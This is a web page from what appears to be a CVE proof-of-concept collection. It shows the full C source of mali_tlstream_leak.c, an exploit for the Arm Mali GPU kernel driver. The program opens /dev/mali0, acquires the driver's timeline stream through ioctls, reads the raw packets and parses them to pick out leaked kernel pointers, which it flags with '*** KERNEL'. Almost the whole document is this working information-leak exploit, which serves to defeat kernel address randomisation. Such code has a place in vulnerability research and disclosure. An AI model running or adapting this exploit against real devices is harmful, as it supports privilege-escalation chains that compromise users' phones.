5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / mali_tlstream_leak.c C
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <errno.h>

#define MALI_DEVICE "/dev/mali0"

#define KBASE_IOCTL_TYPE 0x80

#define KBASE_IOCTL_VERSION_CHECK \
	_IOWR(KBASE_IOCTL_TYPE, 0, struct kbase_ioctl_version_check)
#define KBASE_IOCTL_SET_FLAGS \
	_IOW(KBASE_IOCTL_TYPE, 1, struct kbase_ioctl_set_flags)
#define KBASE_IOCTL_TLSTREAM_ACQUIRE \
	_IOW(KBASE_IOCTL_TYPE, 18, struct kbase_ioctl_tlstream_acquire)

#define BASE_CONTEXT_CREATE_FLAG_NONE 0
#define BASE_CONTEXT_CREATE_FLAG_MONITOR (1 << 4)

#define BASE_KERNEL_UKERNEL_VERSION(a, b) (((a) << 16) + (b))

struct kbase_ioctl_version_check {
	__u16 major;
	__u16 minor;
};

struct kbase_ioctl_set_flags {
	__u32 create_flags;
};

struct kbase_ioctl_tlstream_acquire {
	__u32 flags;
};

#define PACKET_HEADER_SIZE 8
#define PACKET_SIZE 4096
#define PACKET_TYPE_SUMMARY 2
#define PACKET_CLASS_OBJ 0

enum tl_msg_id {
	KBASE_TL_NEW_CTX = 0,
	KBASE_TL_NEW_GPU = 1,
	KBASE_TL_NEW_LPU = 2,
	KBASE_TL_NEW_ATOM = 3,
	KBASE_TL_NEW_AS = 4,
	KBASE_TL_DEL_CTX = 5,
	KBASE_TL_DEL_ATOM = 6,
	KBASE_TL_LIFELINK_LPU_GPU = 7,
	KBASE_TL_LIFELINK_AS_GPU = 8,
	KBASE_TL_RET_CTX_LPU = 9,
	KBASE_TL_RET_ATOM_CTX = 10,
	KBASE_TL_RET_ATOM_LPU = 11,
	KBASE_TL_NRET_CTX_LPU = 12,
	KBASE_TL_NRET_ATOM_CTX = 13,
	KBASE_TL_NRET_ATOM_LPU = 14,
	KBASE_TL_RET_AS_CTX = 15,
	KBASE_TL_NRET_AS_CTX = 16,
	KBASE_TL_RET_ATOM_AS = 17,
	KBASE_TL_NRET_ATOM_AS = 18,
	KBASE_TL_DEP_ATOM_ATOM = 19,
	KBASE_TL_NDEP_ATOM_ATOM = 20,
	KBASE_TL_RDEP_ATOM_ATOM = 21,
	KBASE_TL_ATTRIB_ATOM_CONFIG = 22,
	KBASE_TL_ATTRIB_ATOM_PRIORITY = 23,
	KBASE_TL_ATTRIB_ATOM_STATE = 24,
	KBASE_TL_ATTRIB_ATOM_PRIORITIZED = 25,
	KBASE_TL_ATTRIB_ATOM_JIT = 26,
	KBASE_TL_ATTRIB_AS_CONFIG = 27,
	KBASE_TL_EVENT_LPU_SOFTSTOP = 28,
	KBASE_TL_EVENT_ATOM_SOFTSTOP_EX = 29,
	KBASE_TL_EVENT_ATOM_SOFTSTOP_ISSUE = 30,
	KBASE_JD_GPU_SOFT_RESET = 31,
};

static void *ptr_from_payload(const uint8_t *data, int offset)
{
	void *ptr;
	memcpy(&ptr, data + offset, sizeof(ptr));
	return ptr;
}

static uint32_t u32_from_payload(const uint8_t *data, int offset)
{
	uint32_t v;
	memcpy(&v, data + offset, sizeof(v));
	return v;
}

static uint64_t u64_from_payload(const uint8_t *data, int offset)
{
	uint64_t v;
	memcpy(&v, data + offset, sizeof(v));
	return v;
}

struct fmt_spec {
	const char *types;
	int payload_size;
};

static struct fmt_spec get_format(int msg_id)
{
	switch (msg_id) {
	case KBASE_TL_NEW_CTX:   return (struct fmt_spec){"pII", 8+4+4};
	case KBASE_TL_NEW_GPU:   return (struct fmt_spec){"pII", 8+4+4};
	case KBASE_TL_NEW_LPU:   return (struct fmt_spec){"pII", 8+4+4};
	case KBASE_TL_NEW_ATOM:  return (struct fmt_spec){"pI",  8+4};
	case KBASE_TL_NEW_AS:    return (struct fmt_spec){"pI",  8+4};
	case KBASE_TL_DEL_CTX:   return (struct fmt_spec){"p",   8};
	case KBASE_TL_DEL_ATOM:  return (struct fmt_spec){"p",   8};
	case KBASE_TL_LIFELINK_LPU_GPU: return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_LIFELINK_AS_GPU:  return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_RET_CTX_LPU:      return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_RET_ATOM_CTX:     return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_RET_ATOM_LPU:     return (struct fmt_spec){"pp", 8+8+4};
	case KBASE_TL_NRET_CTX_LPU:     return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_NRET_ATOM_CTX:    return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_NRET_ATOM_LPU:    return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_RET_AS_CTX:       return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_NRET_AS_CTX:      return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_RET_ATOM_AS:      return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_NRET_ATOM_AS:     return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_DEP_ATOM_ATOM:    return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_NDEP_ATOM_ATOM:   return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_RDEP_ATOM_ATOM:   return (struct fmt_spec){"pp", 8+8};
	case KBASE_TL_ATTRIB_ATOM_CONFIG: return (struct fmt_spec){"pLLI", 8+8+8+4};
	case KBASE_TL_ATTRIB_ATOM_PRIORITY: return (struct fmt_spec){"pI", 8+4};
	case KBASE_TL_ATTRIB_ATOM_STATE: return (struct fmt_spec){"pI", 8+4};
	case KBASE_TL_ATTRIB_ATOM_PRIORITIZED: return (struct fmt_spec){"p", 8};
	case KBASE_TL_ATTRIB_ATOM_JIT:  return (struct fmt_spec){"pLL", 8+8+8};
	case KBASE_TL_ATTRIB_AS_CONFIG: return (struct fmt_spec){"pLLL", 8+8+8+8};
	case KBASE_TL_EVENT_LPU_SOFTSTOP: return (struct fmt_spec){"p", 8};
	case KBASE_TL_EVENT_ATOM_SOFTSTOP_EX: return (struct fmt_spec){"p", 8};
	case KBASE_TL_EVENT_ATOM_SOFTSTOP_ISSUE: return (struct fmt_spec){"p", 8};
	case KBASE_JD_GPU_SOFT_RESET:   return (struct fmt_spec){"p", 8};
	default: return (struct fmt_spec){NULL, 0};
	}
}

static const char *msg_name(int msg_id)
{
	switch (msg_id) {
	case KBASE_TL_NEW_CTX:   return "NEW_CTX";
	case KBASE_TL_NEW_GPU:   return "NEW_GPU";
	case KBASE_TL_NEW_LPU:   return "NEW_LPU";
	case KBASE_TL_NEW_ATOM:  return "NEW_ATOM";
	case KBASE_TL_NEW_AS:    return "NEW_AS";
	case KBASE_TL_ATTRIB_AS_CONFIG: return "ATTRIB_AS_CONFIG";
	case KBASE_TL_LIFELINK_LPU_GPU: return "LIFELINK_LPU_GPU";
	case KBASE_TL_LIFELINK_AS_GPU:  return "LIFELINK_AS_GPU";
	default: return "?";
	}
}

static void parse_timeline_packet(const uint8_t *buf, int len)
{
	int off = PACKET_HEADER_SIZE;

	uint32_t word0, word1;
	memcpy(&word0, buf, 4);
	memcpy(&word1, buf+4, 4);
	int numbered = (word1 >> 24) & 1;

	if (numbered)
		off += 4;

	while (off + 4 + 8 <= len) {
		uint32_t msg_id;
		memcpy(&msg_id, buf + off, 4);
		off += 4;

		uint64_t ts;
		memcpy(&ts, buf + off, 8);
		off += 8;

		struct fmt_spec fmt = get_format(msg_id);
		if (fmt.types == NULL) {
			break;
		}

		if (off + fmt.payload_size > len)
			break;

		int nptrs = 0;
		for (const char *p = fmt.types; *p; p++)
			if (*p == 'p') nptrs++;

		printf("  [%s] (ts=%llu, %d bytes payload)",
			msg_name(msg_id), (unsigned long long)ts, fmt.payload_size);

		int poff = 0;
		int ptr_idx = 0;
		for (const char *p = fmt.types; *p; p++) {
			if (*p == 'p') {
				uint64_t ptr;
				memcpy(&ptr, buf + off + poff, sizeof(uint64_t));
				int is_kernel = (ptr >> 32) == 0xffffff80 || (ptr >> 32) == 0xffffffc0;
				printf(" ptr%d=0x%lx%s", ptr_idx, (unsigned long)ptr,
					is_kernel ? " *** KERNEL" : "");
				ptr_idx++;
				poff += 8;
			} else if (*p == 'I' || *p == 'L') {
				int sz = (*p == 'I') ? 4 : 8;
				if (sz == 4) {
					uint32_t v;
					memcpy(&v, buf + off + poff, 4);
					printf(" val%d=%u", ptr_idx, v);
				} else {
					uint64_t v;
					memcpy(&v, buf + off + poff, 8);
					printf(" val%d=%llu", ptr_idx, (unsigned long long)v);
				}
				poff += sz;
			}
		}
		printf("\n");
		off += fmt.payload_size;
	}
}

int main()
{
	int fd = open(MALI_DEVICE, O_RDWR);
	if (fd < 0) {
		perror("open");
		return 1;
	}

	struct kbase_ioctl_version_check ver = {.major = 1, .minor = 0};
	if (ioctl(fd, KBASE_IOCTL_VERSION_CHECK, &ver)) {
		perror("VERSION_CHECK");
		close(fd);
		return 1;
	}
	printf("Version: major=%u minor=%u\n", ver.major, ver.minor);

	struct kbase_ioctl_set_flags sf = {.create_flags = BASE_CONTEXT_CREATE_FLAG_NONE};
	if (ioctl(fd, KBASE_IOCTL_SET_FLAGS, &sf)) {
		perror("SET_FLAGS");
		close(fd);
		return 1;
	}
	printf("SET_FLAGS ok\n");

	struct kbase_ioctl_tlstream_acquire ta = {.flags = 0};
	int tlfd = ioctl(fd, KBASE_IOCTL_TLSTREAM_ACQUIRE, &ta);
	if (tlfd < 0) {
		perror("TLSTREAM_ACQUIRE");
		close(fd);
		return 1;
	}
	printf("TLSTREAM_ACQUIRE ok, tlfd=%d\n", tlfd);

	sleep(2);

	uint8_t buf[PACKET_SIZE * 4];
	int total = 0;
	for (int i = 0; i < 8; i++) {
		int n = read(tlfd, buf + total, PACKET_SIZE);
		if (n <= 0) {
			if (n < 0) perror("read");
			break;
		}
		total += n;
		printf("Read %d bytes from tlstream (total=%d)\n", n, total);
		if (n < PACKET_SIZE)
			break;
	}

	printf("\nRaw hex dump (%d bytes):\n", total);
	for (int i = 0; i < total && i < 512; i++) {
		if (i % 16 == 0) printf("\n%04x: ", i);
		printf("%02x ", buf[i]);
	}
	printf("\n");

	printf("\nParsing packets:\n");
	int off = 0;
	while (off + PACKET_HEADER_SIZE <= total) {
		uint32_t word0, word1;
		memcpy(&word0, buf+off, 4);
		memcpy(&word1, buf+off+4, 4);

		int pkt_family  = (word0 >> 26) & 0x3f;
		int pkt_class   = (word0 >> 19) & 0x7f;
		int pkt_type    = (word0 >> 16) & 0x7;
		int stream_id   = word0 & 0xff;
		int data_length = word1 & 0xffffff;
		int numbered    = (word1 >> 24) & 1;

		int pkt_total = PACKET_HEADER_SIZE + (numbered ? 4 : 0) + data_length;
		if (off + pkt_total > total) {
			printf("Packet %d: incomplete (%d+%d > %d)\n", off, off, pkt_total, total);
			break;
		}

		static const char *family_str[] = {"CTRL", "TL"};
		static const char *class_str[] = {"OBJ", "AUX"};
		static const char *type_str[] = {"HEADER", "BODY", "SUMMARY"};

		printf("\nPacket at offset %d: family=%s class=%s type=%s stream=%d len=%d numbered=%d\n",
			off,
			family_str[pkt_family],
			class_str[pkt_class],
			type_str[pkt_type],
			stream_id, data_length, numbered);

		if (pkt_type == PACKET_TYPE_SUMMARY && pkt_class == PACKET_CLASS_OBJ) {
			parse_timeline_packet(buf + off, pkt_total);
		}

		off += pkt_total;
	}

	close(tlfd);
	close(fd);
	return 0;
}